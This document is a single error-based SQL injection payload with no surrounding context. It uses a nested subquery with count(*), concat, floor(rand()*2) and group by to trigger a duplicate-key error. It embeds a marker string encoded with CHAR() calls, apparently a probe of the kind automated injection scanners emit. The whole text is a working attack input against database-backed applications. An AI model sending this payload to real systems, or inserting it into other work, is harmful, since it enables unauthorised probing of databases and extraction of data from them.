(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(86),CHAR(99),CHAR(51),CHAR(120),CHAR(122),CHAR(65),CHAR(51),CHAR(73)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))